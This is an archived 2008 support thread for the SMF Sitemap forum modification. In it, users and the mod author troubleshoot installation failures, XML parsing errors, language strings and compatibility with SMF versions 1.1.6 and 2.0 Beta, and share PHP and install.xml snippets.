I have the pretty urls mod installed, but, as you can see, these urls were not changed by the pretty urls mod, that's why I ask what can I do to change these ones.
Title: Re: SMF Sitemap
Post by: SlammedDime on July 29, 2008, 03:21:22 PM
You should ask in the support topics for that mod on how to add custom actions to the pretty urls filters.
Title: Re: SMF Sitemap
Post by: Dr Web on July 29, 2008, 03:55:44 PM
Ok, understood, many thanks for the the great and fast support.
Title: Re: SMF Sitemap
Post by: Moif on July 30, 2008, 03:39:49 AM
Hi,

I seem to be having the same kind of problem as blue_Shadow:


XML Parsing Error: XML or text declaration not at start of entity
Location: http://www.brap.fm/forums/index.php/action,sitemap/xml.html
Line Number 6, Column 2:   <?xml version="1.0" encoding="UTF-8"?>
--------^


Can someone point me in the right direction?

Edit: It's been working great for the past few weeks, something has changed. I did try and install SEO4SMF but didn't actually apply the mod as there were a few manual installs to do and I didn't have the time.

I converted my forum to UTF-8 this morning to see if that helped but no go.

Thank you.
Title: Re: SMF Sitemap
Post by: SlammedDime on July 30, 2008, 04:21:33 AM
Quote from: moif on July 30, 2008, 03:39:49 AM
Hi,

I seem to be having the same kind of problem as blue_Shadow:


XML Parsing Error: XML or text declaration not at start of entity
Location: http://www.brap.fm/forums/index.php/action,sitemap/xml.html
Line Number 6, Column 2:   <?xml version="1.0" encoding="UTF-8"?>
--------^


Can someone point me in the right direction?

Edit: It's been working great for the past few weeks, something has changed. I did try and install SEO4SMF but didn't actually apply the mod as there were a few manual installs to do and I didn't have the time.

I converted my forum to UTF-8 this morning to see if that helped but no go.

Thank you.
And the solution is pretty similar to his too.  You have double header information.  If you look at the page source of the sitemap, or any page of your site, you'll see the very first few lines are almost duplicates, and they were put in the wrong spot, likely at the top of index.php or index.template.php.  You'll need to put them in the proper spot, which is in the main_above() function of index.template.php.
Title: Re: SMF Sitemap
Post by: Moif on July 30, 2008, 06:15:08 AM
Ah ha.

Genius, I added some META information to my index.php a few days ago. Commented out now.

Thanks, great mod and great support :)
Title: Re: SMF Sitemap
Post by: jmil on August 06, 2008, 05:01:04 PM
I still can not get the Sitemap to show on my theme. I am using 1.1.5, Black45 Theme.

The Praser gives me an XML error. I do not get the buttom at the bottom but I do get the admin sections.

Site is www.forums.midatlanticxriders.com (http://www.forums.midatlanticxriders.com)

Not sure how to resolve this, every change i make is not quite effective - any assistance would be appreciated. I also attached my index.tempate.php


Title: Re: SMF Sitemap
Post by: dbasetrinity on August 06, 2008, 08:22:24 PM
Hello

My sitemap mod seem to be working on the html generated links

http://technogeeks.homelinux.org/smf/index.php?action=sitemap (http://technogeeks.homelinux.org/smf/index.php?action=sitemap)

But on the xml generated it only lists three links

http://technogeeks.homelinux.org/smf/index.php?action=sitemap;xml (http://technogeeks.homelinux.org/smf/index.php?action=sitemap;xml)

So if anyone knows how to get it to read the rest of my pages any help would be greatly appreciated Thanks

Also on my html sitemap page it doesnt list a title in the browser

i looked at the /Sources/Sitemap.php but it seems to already have a title of Sitemap right at the top

doesnt seem to be displaying
Title: Re: SMF Sitemap
Post by: SlammedDime on August 07, 2008, 04:16:30 AM
It's been a while since I've looked at the code, but you'll probably have to get some topics into those boards first, before they'll display in the XML sitemap.  I'll consider this a bug and look into it, but once you get content into it, if it still doesn't display, reply back and we can dig deeper.
Title: Re: SMF Sitemap
Post by: dbasetrinity on August 07, 2008, 02:43:50 PM
Thanks for the quick replies,

I will let the forums grow and bit and see if the xml grows. I guess i should have thought about that one lol.

as far as the | Sitemap link on the copyright thats hasnt been an issue its

that for some reason it doesnt have <title></title> of the site in the browser for the sitemap page

im guessing this gets produced in that Sitemap.php page /Sources/Sitemap.php

im guessing this is the code:

// Set the page title

$context['page_title'] = $txt['sitemap'];


But Just doesnt seem to add a title

If anything ill just try to add it will the title tags or something lol.

Title: Re: SMF Sitemap
Post by: SlammedDime on August 07, 2008, 02:49:44 PM
If there is a Modifications.english.php in a language folder inside your custom theme folder, copy it's contents to Themes/default/languages/Modifications.english.php and then delete the one in your custom theme.
Title: Re: SMF Sitemap
Post by: jmil on August 07, 2008, 03:49:14 PM
I have spent an enormous amount of time tring to get my Sitemap to show. When using 1.1.5 and Black45 Theme - I see the admin selections - but not the Sitemap or XML button on the footer. I am using smf_sitemap_1.2.2.tar.gz.

Using the Zip File (In an earlier thread) without languages, I was able to use the Praser and get the Manual updates - but the index.template.php changes do not work and I have tried it numerous times and did a bit of mods myself, Thank goodness I keep a master copy as my template went arry once.

The CSS Changes were simple enough though without the template changes I am not sure it is correct. Can I please get a second look to see what I am doing wrong.

I have attached what I thought is the correct changes to the index.template.php as per the praser.

Site is www.forums.midatlanticxriders.com (http://www.forums.midatlanticxriders.com)

There you can see the Error at teh top of my forum - elseif (!isset($buttons[$key]) || $force_reset) $buttons[$key] = ' '; } ?>

The Chief

Update _ I removed the Bad _ Template.php but ireally need an assit here!
Title: Re: SMF Sitemap
Post by: jmil on August 08, 2008, 02:44:53 PM
BUMP
Quote from: jmil on August 07, 2008, 03:49:14 PM
I have spent an enormous amount of time tring to get my Sitemap to show. When using 1.1.5 and Black45 Theme - I see the admin selections - but not the Sitemap or XML button on the footer. I am using smf_sitemap_1.2.2.tar.gz.

Using the Zip File (In an earlier thread) without languages, I was able to use the Praser and get the Manual updates - but the index.template.php changes do not work and I have tried it numerous times and did a bit of mods myself, Thank goodness I keep a master copy as my template went arry once.

The CSS Changes were simple enough though without the template changes I am not sure it is correct. Can I please get a second look to see what I am doing wrong.

I have attached what I thought is the correct changes to the index.template.php as per the praser.

Site is www.forums.midatlanticxriders.com (http://www.forums.midatlanticxriders.com)

There you can see the Error at teh top of my forum - elseif (!isset($buttons[$key]) || $force_reset) $buttons[$key] = ' '; } ?>

The Chief

Update _ I removed the Bad _ Template.php but ireally need an assit here!
Title: Re: SMF Sitemap
Post by: SlammedDime on August 08, 2008, 03:12:25 PM
jmil - Did you try using the mod parser that we have available here at SimpleMachines.org on every mod's download page?  I'm not sure what instructions you were following, but you were tyring to put the sitemap link the completely wrong spot.  I fixed up the index.template.php you posted above so it should work for you now.

Deprecated - The latest version of the Sitemap available for download _should be_ compatible with pretty urls.  At least it was in my tests.
Title: Re: SMF Sitemap
Post by: jmil on August 09, 2008, 07:40:17 AM
Quote from: SlammedDime on August 08, 2008, 03:12:25 PM
jmil - Did you try using the mod parser that we have available here at SimpleMachines.org on every mod's download page?  I'm not sure what instructions you were following, but you were tyring to put the sitemap link the completely wrong spot.  I fixed up the index.template.php you posted above so it should work for you now.

Deprecated - The latest version of the Sitemap available for download _should be_ compatible with pretty urls.  At least it was in my tests.

Slammed - That is exactly what I used. I knew there was an issue when I saw the fail at the top of of the screen and though I am getting much bettter at this - I still could not figure out the problem, just made things worse.

Here is the Link I used for the Praser - http://sleepycode.com/PackageParser/index.php

I will update this shortly and let you know the results _ THANKS
Title: Re: SMF Sitemap
Post by: CrazyHorse80 on August 14, 2008, 10:42:48 AM
I got these errors in SMF error log:

8: Undefined index: sitemap_boards
File: ..\Themes\default\Sitemap.template.php (eval?)
Line: 131


8: Undefined index: sitemap
File: ..\Themes\default\Sitemap.template.php (eval?)
Line: 9


8: Undefined index: sitemap
File: ..\Sources\Sitemap.php
Line: 29


8: Undefined index: sitemap
File: ..\Sources\Sitemap.php
Line: 22


I'm using the Italian language for my forum and mods... How can I solve this?
Thanks in advance!
PS
Title: Re: SMF Sitemap
Post by: CrazyHorse80 on August 14, 2008, 11:30:37 AM
Quote from: Deprecated on August 14, 2008, 11:26:39 AM
Quote from: CrazyHorse80 on August 14, 2008, 10:42:48 AM
I'm using the Italian language for my forum and mods... How can I solve this?

Switch to English?
/me runs and ducks!!! ;) ;) ;)

Grrr! ;)
I mean where do I have to place those index? Or, do I have to put them somewhere? I'm really stuck...
Bye,
PS
Title: Re: SMF Sitemap
Post by: CrazyHorse80 on August 14, 2008, 01:51:22 PM
This is what I have into my Modifications.italian.php:

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Sezioni';
$txt['sitemap_xml'] = 'Mostra link XML Sitemap XML';
$txt['sitemap_topic_count'] = 'Massimo numero di topics da visualizzare nella sitemap';
$txt['sitemap_collapsible'] = 'Collassa sottosezioni nella sitemap';


??? Seems it's OK, no?
Bye,
PS

EDIT: Sorry, it seems to be OK, now... Maybe errors referred to something before I actually uploaded the italian file...
Thanks for help!
Title: Re: SMF Sitemap
Post by: kinger402 on August 31, 2008, 12:17:47 PM
Is there a way to manually add a link to the XML file that is created. I have a few other sections of my site (non-forum) that I would like to be included in the sitemap.
Title: Re: SMF Sitemap
Post by: SlammedDime on August 31, 2008, 03:40:59 PM
Nope, but that's a great idea for the next version... ;)

You can however create multiple xml files with extra info and submit them all to google.
Title: Re: SMF Sitemap
Post by: kinger402 on August 31, 2008, 11:35:24 PM
Thanks!
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on September 08, 2008, 04:35:54 PM
With Beta 4 at the footer isn't displayed the link to the Sitemap!! :(
Title: Re: SMF Sitemap
Post by: SlammedDime on September 09, 2008, 02:26:18 PM
It isn't made to work with Beta 4 yet... which is why that isn't in the list of compatible versions.
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on September 09, 2008, 02:31:19 PM
Quote from: SlammedDime on September 09, 2008, 02:26:18 PM
It isn't made to work with Beta 4 yet... which is why that isn't in the list of compatible versions.
Ooook.. :D
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on September 09, 2008, 03:44:42 PM
Quote from: Deprecated on September 09, 2008, 03:26:21 PM
Quote from: lorenzone92 on September 09, 2008, 02:31:19 PM
Ooook.. :D

Ooook? ? ?
Do you feel good?
I've said "oook" meaning "ok, I'll wait for the new version"... too difficult? :P
Title: Re: SMF Sitemap
Post by: SlammedDime on September 09, 2008, 05:02:22 PM
Well really the only thing that doesn't work with Beta 4 is the link for the sitemap.

And BTW, I don't plan on updating any of my mods until the last RC of 2.0.  There are many changes that will affect the mods, especially AJAX Quick Reply and I dont' feel like making small changes for every release.
Title: Re: SMF Sitemap
Post by: minos on September 09, 2008, 05:52:02 PM
Hi im having a trouble i installed the mod corectly but the xml it fails

i add the Rewrite rule but nothing happens
Title: Re: SMF Sitemap
Post by: SlammedDime on September 10, 2008, 03:56:09 AM
Probably because you've installed some sort of Ad code or a custom banner in the wrong spot on your board, or one of your php files has an extra line at the top of it... I'd need a link to your site to tell you for sure.
Title: Re: SMF Sitemap
Post by: Mystiquo on September 12, 2008, 09:06:51 AM
how can i have a sitemap.xml of my site for google????? i have now /index.php?action=sitemap;xml i want sitemap.xml in my server thanks
Thanks
Title: Re: SMF Sitemap
Post by: Bec on September 12, 2008, 10:42:46 AM
hi guys,

i have had the sitemap installed for a couple of months now, thought i have had to resubmit to google a few times because it keeps coming up with error... wont tell me exactly what the error is but no url have been logged.. any ideas?
Title: Re: SMF Sitemap
Post by: SlammedDime on September 13, 2008, 02:42:00 PM
Quote from: Bec on September 12, 2008, 10:42:46 AM
hi guys,

i have had the sitemap installed for a couple of months now, thought i have had to resubmit to google a few times because it keeps coming up with error... wont tell me exactly what the error is but no url have been logged.. any ideas?
Did you submit http://www.bu-community.com/index.php?action=sitemap;xml to google?  There's nothing wrong with that sitemap.

Mystiquo - Please look earlier in this topic, I posted instructions for editing a .htaccess file to create a sitemap.xml file (although it really isn't needed).
Title: Re: SMF Sitemap
Post by: Mystiquo on September 14, 2008, 06:24:22 AM
thank it' good normaly
Title: Re: SMF Sitemap
Post by: Bec on September 15, 2008, 06:03:00 AM
Quote from: SlammedDime on September 13, 2008, 02:42:00 PM
Quote from: Bec on September 12, 2008, 10:42:46 AM
hi guys,

i have had the sitemap installed for a couple of months now, thought i have had to resubmit to google a few times because it keeps coming up with error... wont tell me exactly what the error is but no url have been logged.. any ideas?
Did you submit http://www.bu-community.com/index.php?action=sitemap;xml to google?  There's nothing wrong with that sitemap.

yes, well im getting errors with it, i had to just resubmit so will post again when i have further details
Title: Re: SMF 1.1.6.?
Post by: dotch on September 15, 2008, 02:33:29 PM
Will this mod work without issues on SMF 1.1.6?

It's not (yet) listed in the list of compatible versions.

Or will t be compatible in the near future?
Title: Re: SMF Sitemap
Post by: SlammedDime on September 15, 2008, 04:51:53 PM
Yes, it should work on 1.1.6 without issue.
Title: Re: SMF Sitemap
Post by: kandw101 on September 16, 2008, 09:26:14 AM
This is what I see when trying to install site map(1.3.0).

"The package you are trying to download or install is either corrupt or not compatible with this version of SMF. "

I have 1.1.6 and any help would be appreciated. I do not write, just copy and paste.(old brain, lol)               Thank You
Title: Re: SMF Sitemap
Post by: picos on September 16, 2008, 03:05:13 PM
Any news on if this will work with the latest beta?  I was hoping to submit a sitemap to google soon.  Thanks!
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on September 16, 2008, 05:05:02 PM
Quote from: picos on September 16, 2008, 03:05:13 PM
Any news on if this will work with the latest beta?  I was hoping to submit a sitemap to google soon.  Thanks!
You have to emulate SMF 2.0 Beta 3...
Title: Re: SMF Sitemap
Post by: ross85 on September 16, 2008, 09:11:01 PM
Quote from: kandw101 on September 16, 2008, 09:26:14 AM
This is what I see when trying to install site map(1.3.0).

"The package you are trying to download or install is either corrupt or not compatible with this version of SMF. "

I have 1.1.6 and any help would be appreciated. I do not write, just copy and paste.(old brain, lol)               Thank You

I'm getting the same message. I also have 1.1.6 and also cannot see any of the manual install instructions.
Title: Re: SMF Sitemap
Post by: SlammedDime on September 16, 2008, 09:36:18 PM
Please read the very first changelog entry on the mod's download page.  1.3.0 is for 2.0 Beta 3.
Title: Re: SMF Sitemap
Post by: GhostRider2110 on September 21, 2008, 08:57:19 PM
Install on SMF 1.1.6 with TP 0.9.6.  Got all the files updated but getting the following error when I click on the sitemap link:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6
File: forums/Sources/Sitemap.php
Line: 40

What do I need to do to fix?  Did a search but could not fine anything...

Thanks..

--Mitch

Title: Re: SMF Sitemap
Post by: SlammedDime on September 21, 2008, 10:16:19 PM
Did you manually install the mod?  if so, did you run add_settings.php afterwards?  Either way, go into the Settings for SMF and find the Sitemap settings and make sure they are all filled in.
Title: Re: SMF Sitemap
Post by: GhostRider2110 on September 22, 2008, 08:52:32 AM
Guess I didn't get everything installed manually.  It would not install via package manager.  The section for adding to index.template.php failed the test.  When I went to add it manually to the default or my current theme, the "Select" failed.  Could not find what it was looking for.  I had to play with it for a bit to get it installed.  I must have missed something since I can't find any settings for Sitemod anywhere within the admin area.  I did run add_setting.php and that did fix my database problem.  Thanks...
Title: Re: SMF Sitemap
Post by: GhostRider2110 on September 22, 2008, 02:23:26 PM
Rechecked everything and seem to have found the setting.. Thanks!!!  --Mitch
Title: Re: SMF Sitemap
Post by: argimiro on September 26, 2008, 02:59:49 AM
I've been using the following code inside SEO4SMF's xml sitemap, in order to 'shoehorn' some arcade screens into the sitemap:


// tack on the arcade play screens

$all_the_games = db_query("SELECT ID_GAME FROM {$db_prefix}arcade_games", __FILE__, __LINE__);

while ($gameid_row = mysql_fetch_assoc($all_the_games))
      {
            echo '
                <url>
                <loc>http://www.mysite.co.uk/forums/arcade.html;sa=play;game=', $gameid_row['ID_GAME'], '</loc>
                <lastmod>2008-09-26T05:53:44+00:00</lastmod>
                <changefreq>monthly</changefreq>
                <priority>0.7</priority>
                </url>';
      }

mysql_free_result($all_the_games);


could I insert something like that code somewhere in your xml sitemaps mod? where might be a good place?

[edit]

I added it into Sitemap.template.php's template_XMLDisplay() function, down below the existing output. Needed to add $db_prefix to the globals list at the top of the function to get it working.. seems good
Title: Re: SMF Sitemap
Post by: ellion on September 26, 2008, 04:47:21 PM
Quote from: lorenzone92 on September 16, 2008, 05:05:02 PM
Quote from: picos on September 16, 2008, 03:05:13 PM
Any news on if this will work with the latest beta?  I was hoping to submit a sitemap to google soon.  Thanks!
You have to emulate SMF 2.0 Beta 3...
how would i emulate 2.0 beta 3?
edit: not to worry i figured it out.


thanks!
Title: Re: SMF Sitemap
Post by: ellion on September 26, 2008, 05:11:06 PM
how can i put the link back on the index.template? (beta4)
Title: Re: SMF Sitemap
Post by: 0000000 on September 30, 2008, 12:40:33 AM
Will this mod work with SMF 1.1.6?
Title: Re: SMF Sitemap
Post by: Sabre™ on October 04, 2008, 06:02:34 AM
@ 0000000
I found the answer to your question on the page before this.
Please use your eyes, and atleast the search function to the top right of your screen.
It helps to eliminate the clutter.
Thanks.

btw, nice mod SlammedDime. I will implement this sometime this week.
Cheers :)
Title: Re: SMF Sitemap
Post by: Frozt on October 04, 2008, 01:47:23 PM
I try to install sitemap in smf 2.0 Beta 4 but fail the intall in index.template.php file

need to find this:

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


but not appear in the index.template.php in this version 2.0 Beta 4

this is the footer code of 2.0 Beta 4:

<div id="footerarea" class="headerpadding topmargin clearfix">
<ul class="smalltext">
<li class="copywrite">', theme_copyright(), '</li>
<li><a id="button_xhtml" href="http://validator.w3.org/check/referer" target="_blank" class="new_win" title="', $txt['valid_html'], '"><span>XHTML</span></a></li>
<li><a id="button_rss" href="', $scripturl , '?type=rss;action=.xml" class="new_win"><span>RSS</span></a></li>
<li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
</ul>';

// Show the load time?
if ($context['show_load_time'])
echo '
<p class="smalltext" id="show_loadtime">', $txt['page_created'], $context['load_time'], $txt['seconds_with'], $context['load_queries'], $txt['queries'], '</p>';

echo '
</div>


and this is part of the footer code of version 1.1.6 that have that 2 lines:

<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'right' : 'left', '">
<a href="http://www.mysql.com/" target="_blank"><img id="powered-mysql" src="', $settings['images_url'], '/powered-mysql.gif" alt="', $txt['powered_by_mysql'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://www.php.net/" target="_blank"><img id="powered-php" src="', $settings['images_url'], '/powered-php.gif" alt="', $txt['powered_by_php'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
<td valign="middle" align="center" style="white-space: nowrap;">
', theme_copyright(), '
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
<a href="http://validator.w3.org/check/referer" target="_blank"><img id="valid-xhtml10" src="', $settings['images_url'], '/valid-xhtml10.gif" alt="', $txt['valid_xhtml'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank"><img id="valid-css" src="', $settings['images_url'], '/valid-css.gif" alt="', $txt['valid_css'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
</tr>
</table>';



Im not sure how to add the changes for add the link to sitemap in the footer of 2.0 Beta 4 version and can install sitemap
Title: Re: SMF Sitemap
Post by: SlammedDime on October 04, 2008, 02:20:34 PM
If you look at the download page for this mod, you'll see that it isn't updated for Beta 4 yet.  I plan on introducing a few new features to it and haven't finished it yet.
Title: Re: SMF Sitemap
Post by: Frozt on October 04, 2008, 02:29:50 PM
oh ok
thanks
I will wait them  :)
Title: Re: SMF Sitemap
Post by: dotch on October 05, 2008, 08:37:57 AM
Quote from: kandw101 on September 16, 2008, 09:26:14 AM
This is what I see when trying to install site map(1.3.0).

"The package you are trying to download or install is either corrupt or not compatible with this version of SMF. "

I have 1.1.6 and any help would be appreciated.

I get the same error message. How can we install this mod in SMF 1.1.6.? Did anyone find a solution?
Title: Re: SMF Sitemap
Post by: Sabre™ on October 05, 2008, 10:27:13 AM
Yeah..
Install the correct version would help ;)

Taken from the front page:
All future development will be on 1.3.0 for SMF 2.0+.

Version 1.2.2 will work for smf 1.1.6
Title: Re: SMF Sitemap
Post by: dotch on October 05, 2008, 02:49:27 PM
Quote from: Sabre™ on October 05, 2008, 10:27:13 AM
Yeah..
Install the correct version would help ;)

Taken from the front page:
All future development will be on 1.3.0 for SMF 2.0+.

Version 1.2.2 will work for smf 1.1.6

Aaahh! sure it works now (slamming myself hard on the nose for being that stupid  :D)

Thanks mate!
Title: Re: SMF Sitemap
Post by: Sabre™ on October 05, 2008, 04:59:05 PM
lol no probs champ.  ;)
I only noticed it myself, when someone else mentioned it on the previous page. lol
Glad youve got it going champ.
Enjoy  :)
Title: Re: SMF Sitemap
Post by: genieuk on October 08, 2008, 12:31:46 PM
Hi,

Can the mod creator help me ???

I really want this mod to submit to google but am having some teething problems.

I am using a custom theme (outline_omega)

I install it via package manager but i then need to edit two files manually for my custom theme, they are:

index.template.php and style.css

I cant seems to find the info it asking me to look for, i have uploaded both files names below if you would do me the honour and edit them for me ???

Thank you,
Mathew
Title: Re: SMF Sitemap
Post by: Anime-Masters on October 08, 2008, 05:50:21 PM
Is there support for 1.1.6? This mod does not want to install on 1.1.6.
Title: Re: SMF Sitemap
Post by: krish227 on October 08, 2008, 06:19:19 PM
Does this mod supports the smf version 1.1.6? When i tried to install, i got an error "The package you are trying to download or install is either corrupt or not compatible with this version of SMF.."
Any suggestions.
Title: Re: SMF Sitemap
Post by: genieuk on October 08, 2008, 06:59:55 PM
Hi,

All you need to do is use something like 7-Zip and extract files until it shows like a folder (what windows recognises) then zip it using 7-zip or other zip software then upload even thou package manager says it supposrt these file formats i can only upload using .zip so extracts it then zip it and then upload, works everytime.

You also need to use this version: smf_sitemap_1.2.2.tar.gz

Also can the mod creator help me please ??? Read above post i posted to find out more.

can someone do the edits for me on the files i uploaded in above post? , i managed to do the style.css but cant find anything in relation for the index.template file. It only 2 lines of code needing to be adding, just need someone who knows what they doing to put it in correct place on the index.template.php file.

Mathew
Title: Re: SMF Sitemap
Post by: Frozt on October 09, 2008, 08:38:04 AM
Quote from: krish227 on October 08, 2008, 06:19:19 PM
Does this mod supports the smf version 1.1.6? When i tried to install, i got an error "The package you are trying to download or install is either corrupt or not compatible with this version of SMF.."
Any suggestions.

You could try to emulate version 1.1.6

try to install it again and in the page that appear that warning add this to the url in the browser:

;version_emulate=1.1.6


Title: Re: SMF Sitemap
Post by: genieuk on October 09, 2008, 03:45:15 PM
Solved! :D

Thank you JCS, Your a godess.

You helped me with loads of stuff, so a big huge thank you.

Kindest Regards,
Mathew
Title: Re: SMF Sitemap
Post by: Sabre™ on October 09, 2008, 04:15:23 PM
Any chance you can share what you did, for future users of that theme?
Title: Re: SMF Sitemap
Post by: jepot5 on October 10, 2008, 12:02:49 AM
Quote from: GhostRider2110 on September 22, 2008, 08:52:32 AM
Guess I didn't get everything installed manually.  It would not install via package manager.  The section for adding to index.template.php failed the test.  When I went to add it manually to the default or my current theme, the "Select" failed.  Could not find what it was looking for.  I had to play with it for a bit to get it installed.  I must have missed something since I can't find any settings for Sitemod anywhere within the admin area.  I did run add_setting.php and that did fix my database problem.  Thanks...
What did you do to fix it? I am having the same problem
Title: Re: SMF Sitemap
Post by: genieuk on October 12, 2008, 08:23:18 AM
What am i doing wrong?

Google Webmaster tools is saying error on my sitemap. It says it is an unknown format

here is my XML sitemap http://www.foreverlastingfriends.co.cc/index.php?action=sitemap;xml

what is wrong?

and then i submitted

which says is ok but not sure if it works as it says urls in sitemap 0

http://www.foreverlastingfriends.co.cc/index.php?www;action=sitemap

I am confused,

Please Help

Title: Re: SMF Sitemap
Post by: SlammedDime on October 12, 2008, 11:16:28 AM
Not sure why it would be giving you that error.  In the box on google where you put in the url, what exactly did you enter?
Title: Re: SMF Sitemap
Post by: genieuk on October 12, 2008, 01:11:47 PM
Hi,

Thanks for replying in the box on google i entered the two urls above.

this one says it ok now all of a sudden:

http://www.foreverlastingfriends.co.cc/index.php?www;action=sitemap


This one says not due to format:

http://www.foreverlastingfriends.co.cc/index.php?action=sitemap;xml


Title: Re: SMF Sitemap
Post by: SlammedDime on October 12, 2008, 01:31:06 PM
If you're entering the full url then you're entering the wrong thing.  You should be putting in something like index.php?action=sitemap;xml into the box on google.

In the box where it says:
3. My Sitemap URL is:
http://www.foreverlastingfriends.co.cc/
You just enter what I put in italics above.
Title: Re: SMF Sitemap
Post by: genieuk on October 12, 2008, 01:36:10 PM
ok thanks,

well google has sorted itself i think as it saying ok now, no errors, and downloaded 75 links ;) just a few minutes ago so all seems good.

Thank you very much.

Mathew  :D
Title: Re: SMF Sitemap
Post by: Sabre™ on October 13, 2008, 06:27:07 PM
I just clicked on the XML link on the site map, and this is what pops up.
XML Parsing Error: junk after document element
Location: http://xxxxxxxxxxxx.com/index.php?action=sitemap;xml
Line Number 190, Column 1:<div style="text-align: center;"><div style="position:relative; top:0; margin-right:auto;margin-left:auto; z-index:99999">
^


This is the first time Ive clicked that link since installing.
I have made no edits what so ever to any of its files.
I have a bot text installed at the moment as the site is in construction.
I dont think it would be...  but Im not sure.

Thank You :)
Title: Re: SMF Sitemap
Post by: SlammedDime on October 13, 2008, 08:31:00 PM
You added html where you shouldn't have, probably in index.php after ?> or in index.template.php after ?>.  You need to relocate that code to index.template.php BEFORE </body>

Edit: Looks like you've fixed it.  I don't see it in the XML anymore.
Title: Re: SMF Sitemap
Post by: Sabre™ on October 13, 2008, 08:37:27 PM
You talkin to me?
If you are, I havent touched anything mate.
I didnt add this mod manually, as I wanted to test it first, so havent made any changes.
And...  how do you know where my site is? I havent added it here lol

P.S.
Just noticed Im only getting my error as a member logged in.
Logged out and it displayed properly as a guest
Title: Re: SMF Sitemap
Post by: SlammedDime on October 13, 2008, 08:42:59 PM
The URL is in the error message you posted above......
Title: Re: SMF Sitemap
Post by: Sabre™ on October 13, 2008, 08:45:07 PM
Bah!!   LOL   Sorry mate, Im half asleep!
I edited my above message, can you check it please
Title: Re: SMF Sitemap
Post by: SlammedDime on October 13, 2008, 09:07:50 PM
Ok, well what I stated still stands as before, you added some code somewhere, or something was added somewhere that adds some extra html output to your site (not related to this mod).  I can't tell you want it is, only you know that (view the source of the xml document, at the very bottom)

Although, it doesn't really matter if it doesn't work right for you, so long as it works for guests... because that's what google is, a guest to your site.
Title: Re: SMF Sitemap
Post by: Sabre™ on October 13, 2008, 09:25:23 PM
Yeah, I figured it didnt really matter, but kind of wanted to clean it up!
Well, as long as it does its job, then there's no point sifting through the code.
Thanks for your input.
Cheers
Title: Re: SMF Sitemap
Post by: Frozt on October 14, 2008, 07:23:01 AM
the only incompatibility with 2.0 Beta 4 is the installation in the index.template.php file?

or is possible install SMF Sitemap 1.3.0 in 2.0 Beta 4 with a modification in that part of the installation and the rest code is compatible with this version of SMF?


In a fresh insall of 2.0 Beta 4 the installation only fail in index.template.php file, in this change:

QuoteFind:

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Add Before:

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>


2.0 Beta 4 have a footer different of 1.1.6


but I try this:

in the line that appear the code that show the link:

XHTML | RSS | WAP2

<li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>

I replace that line with:

<li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>


and show the Sitemap link like in 1.1.6

XHTML | RSS | WAP2 | Sitemap


After did this I can install SMF Sitemap in 2.0 Beta 4 and aparently it work well



Note: i did this change in the mod package:
unzip smf_sitemap_1.3.0.tar.gz
and edit install.xml file
find this:
<search position="after"><![CDATA[ </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
]]></search>
<add><![CDATA[ <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>
]]></add>


and remplace by this:
<search position="replace"><![CDATA[ <li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>]]></search>
<add><![CDATA[ <li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>


repacked and install.
Title: Re: SMF Sitemap
Post by: SlammedDime on October 14, 2008, 11:13:49 AM
Yes, that is really the only change needed to work on Beta 4, but I won't be releasing a new version until 2.0 hit's the RC stages due to still more template changes in the works, plus I plan on adding features to the sitemap.
Title: Re: SMF Sitemap
Post by: Frozt on October 14, 2008, 12:37:54 PM
Thanks

Good. At this moment work well for me
Title: Re: SMF Sitemap
Post by: Sudhakar Arjunan on October 25, 2008, 01:09:08 AM
I have installed it perfectly on my new smf 2.0.4.

But when ever some bot or us find sitemap links it say this error.

http://discuss.itacumens.com/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
File: /home/itacumen/public_html/discuss/Sources/Sitemap.php
Line: 42

Could you help me to figure it out Author.
Title: Re: SMF Sitemap
Post by: SlammedDime on October 25, 2008, 06:03:34 AM
Quote from: SlammedDime on June 15, 2008, 12:01:35 PM
In Sources/Sitemap.php
Code (Find) Select
'max_topics' => $modSettings[sitemap_topic_count],

Code (Replace) Select
'max_topics' => $modSettings['sitemap_topic_count'],

On line 185 and line 42

For line 30, simply remove it.  I have no clue why I even had that line there.
Code (Remove) Select
